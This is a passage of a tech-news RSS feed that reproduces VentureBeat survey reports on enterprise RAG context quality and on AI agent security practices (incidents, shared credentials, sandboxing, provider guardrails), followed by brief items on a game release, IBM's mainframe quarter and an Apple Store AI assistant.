buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Aliens: Fireteam Elite 2 set to arrive August 25]]></title>
<description><![CDATA[Some explosive co-op action is coming our way, with Aliens: Fireteam Elite 2 getting an August 25th release date announced today.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3689540/linux-tipps/aliens-fireteam-elite-2-set-to-arrive-august-25/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689540/linux-tipps/aliens-fireteam-elite-2-set-to-arrive-august-25/</guid>
<pubDate>Thu, 23 Jul 2026 17:50:20 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Some explosive co-op action is coming our way, with Aliens: Fireteam Elite 2 getting an August 25th release date announced today.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/1607478305id29439gol.webp" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/07/aliens-fireteam-elite-2-set-to-arrive-august-25/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Despite tough quarter, IBM says mainframe will continue to put the Big in Big Blue]]></title>
<description><![CDATA[Revenue from IBM’s z mainframe portfolio declined 42% in the quarter ended June 30, dragging infrastructure revenue down 7% compared to the year-ago quarter. But Big Blue executives remain positive on the mainframe’s role as an important AI platform.



After warning of an earnings shortfall, IBM...]]></description>
<link>https://tsecurity.de/de/3689349/it-security-nachrichten/despite-tough-quarter-ibm-says-mainframe-will-continue-to-put-the-big-in-big-blue/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689349/it-security-nachrichten/despite-tough-quarter-ibm-says-mainframe-will-continue-to-put-the-big-in-big-blue/</guid>
<pubDate>Thu, 23 Jul 2026 16:27:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Revenue from IBM’s z mainframe portfolio declined 42% in the quarter ended June 30, dragging infrastructure revenue down 7% compared to the year-ago quarter. But Big Blue executives remain positive on the mainframe’s role as an important AI platform.</p>



<p class="wp-block-paragraph">After warning of an earnings shortfall, IBM lowered its full-year forecast. It now expects 2026 revenue to grow between 4% and 5%, rather than its previous forecast of more than 5% growth. Some parts of its business did well: <a href="https://78449.themediaframe.com/incomm/ibm/ibm260722pressrelease.pdf">Software revenue grew 5% in the second quarter</a> to $7.76 billion, fueled by 11% growth in hybrid cloud, 18% growth in data, and 3% growth in automation.</p>



<p class="wp-block-paragraph">On the infrastructure side, IBM posted second-quarter revenue of $3.8 billion, which is down 7%. Within that business, distributed infrastructure grew 37%, but those gains were offset by a 10% decline in hybrid infrastructure and IBM Z’s 42% drop.</p>



<p class="wp-block-paragraph">In a <a href="https://newsroom.ibm.com/2026-07-14-Arvind-Krishnas-Letter-to-IBM-Investors">July 14 letter</a> to investors released prior to IBM’s July 22 earnings call, CEO Arvind Krishna warned of the earnings shortfall and laid out current challenges. He related the infrastructure performance shortfall to “wrapping on the launch of z17 in the second quarter” and stated: “Given this was the strongest start to a mainframe program in our history, we expected Infrastructure revenue to decline low-single digits for the year, beginning this quarter. What played out was worse than our expectations, driven by a shortfall in our Z performance and the associated software stack, primarily in Transaction Processing.”</p>



<p class="wp-block-paragraph">In the last few weeks of June, customers shifted capex spending and started purchasing more AI infrastructure components in the form of servers, storage, and memory “to secure supply-constrained infrastructure ahead of expected price increases,” Krishna stated. “This dynamic impacted client buying patterns. While we anticipated some supply chain related impact in our expectations, we did not anticipate the magnitude of the capex reprioritization.”</p>



<p class="wp-block-paragraph">Yet despite challenges this last quarter, z17 remains at nearly 130% growth program-to-program, according to IBM. That’s “well ahead of z16, which was our strongest program on record, with clients representing 85% of installed MIPs maintaining or growing capacity,” the July 14 letter stated.</p>



<p class="wp-block-paragraph">Mainframe infrastructure momentum is expected to continue, and IBM is anticipating strong workload growth and <a href="https://www.networkworld.com/article/3845376/ibm-laying-foundation-for-mainframe-as-ultimate-ai-server.html">AI-driven capacity</a> expansion as clients modernize mission-critical systems and emphasize resiliency and security, Krishna said during the company’s Q2 2026 earnings call on July 22.</p>



<p class="wp-block-paragraph">“AI is driving incremental capacity growth and new workloads as clients look to run AI closer to their most sensitive data,” IBM senior vice president and CFO James Kavanaugh said in the call. “We are seeing strong early adoption of our AI innovations with nearly 50% of <a href="https://www.networkworld.com/article/4193914/ibm-grows-mainframe-family-with-rack-frame-models-targeting-ai-hybrid-clouds.html">z17 customers</a> investing in AI capabilities with Spyre AI accelerator, and clients deploying Watson X Code Assistant for Z are growing MIPS capacity three times faster than those who are not.”</p>



<p class="wp-block-paragraph">“In a world where infrastructure costs are rising and efficiency matters more than ever, IBM Z offers a compelling economic advantage,” Kavanaugh continued. “Depending on the size and complexity of workloads, clients can realize a 2 to 15x total cost of ownership benefit versus moving these workloads off the platform, reinforcing why the platform remains central to their operations and positioning us to capture additional value as AI workloads grow.”</p>



<p class="wp-block-paragraph">“We see no evidence of clients moving off mainframe,” Kavanaugh added. “Clients continue to invest in IBM Z to modernize mission-critical workloads with a focus on resiliency and security.”</p>



<p class="wp-block-paragraph">In responding to an analyst question, Kavanaugh said three key things drive mainframe demand and purchasing requirements:</p>



<p class="wp-block-paragraph">“One is capacity workload. It’s the most important determinant. 85% Of the installed MIPS capacity out there in the marketplace today running all those core mission critical workloads are either stable or growing. Clients are adding capacity and workload to mainframe, the viability. And by the way, that’s coming in new AI workloads, analytics workloads, Linux-based workloads, and those MIPS are growing program to date over 15 to 20% installed capacity,” Kavanaugh said.</p>



<p class="wp-block-paragraph">Number 2 is economic factors. “We don’t talk a lot about this, but I think it’s important for our investors to understand things like total cost of ownership. Depending on the size and complexity of the workload, we have anywhere from a 2 to a 15x TCO advantage running on the mainframe [over smaller server systems]. Again, we do not see any evidence of clients migrating off mainframe and lease propensity, which is a great indicator,” Kavanaugh said.</p>



<p class="wp-block-paragraph">The third driver is AI. “When you look at it, applications, data security, all on the platform, we do 450 billion inferences per day at 1 millisecond with 8 nines availability,” Kavanaugh said. “We’ve got clients that have already purchased over 50% of our Spire inferencing, and those clients that have purchased that are growing MIPS capacity, the way [we monetize value], by over three times faster than others.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Store app might soon get an AI shopping assistant]]></title>
<description><![CDATA[An AI shopping assistant is coming to the Apple Store app, complete with a chat interface and personalized recommendations. 
(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)]]></description>
<link>https://tsecurity.de/de/3689281/ios-mac-os/apple-store-app-might-soon-get-an-ai-shopping-assistant/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689281/ios-mac-os/apple-store-app-might-soon-get-an-ai-shopping-assistant/</guid>
<pubDate>Thu, 23 Jul 2026 16:08:57 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="780" height="439" src="https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Store-app-1440x810.jpg.webp" class="attachment-large size-large wp-post-image" alt="A logo of Apple's App Store used in a story about the company working on a new AI powered shopping assistant." decoding="async" fetchpriority="high" srcset="https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Store-app-1440x810.jpg.webp 1440w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Store-app-400x225.jpg 400w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Store-app-768x432@2x.jpg.webp 1536w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Store-app-2048x1152.jpg 2048w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Store-app-350x197.jpg 350w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Store-app-768x432.jpg.webp 768w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Store-app-1020x574.jpg.webp 1020w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Store-app-2040x1148.jpg.webp 2040w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Store-app-1920x1080.jpg 1920w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Store-app-400x225@2x.jpg 800w" sizes="(max-width: 780px) 100vw, 780px"></div>
<p>An AI shopping assistant is coming to the Apple Store app, complete with a chat interface and personalized recommendations. </p>
<p>(via <a href="https://www.cultofmac.com/">Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.</a>)</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Black Hat USA 2026 - New Features]]></title>
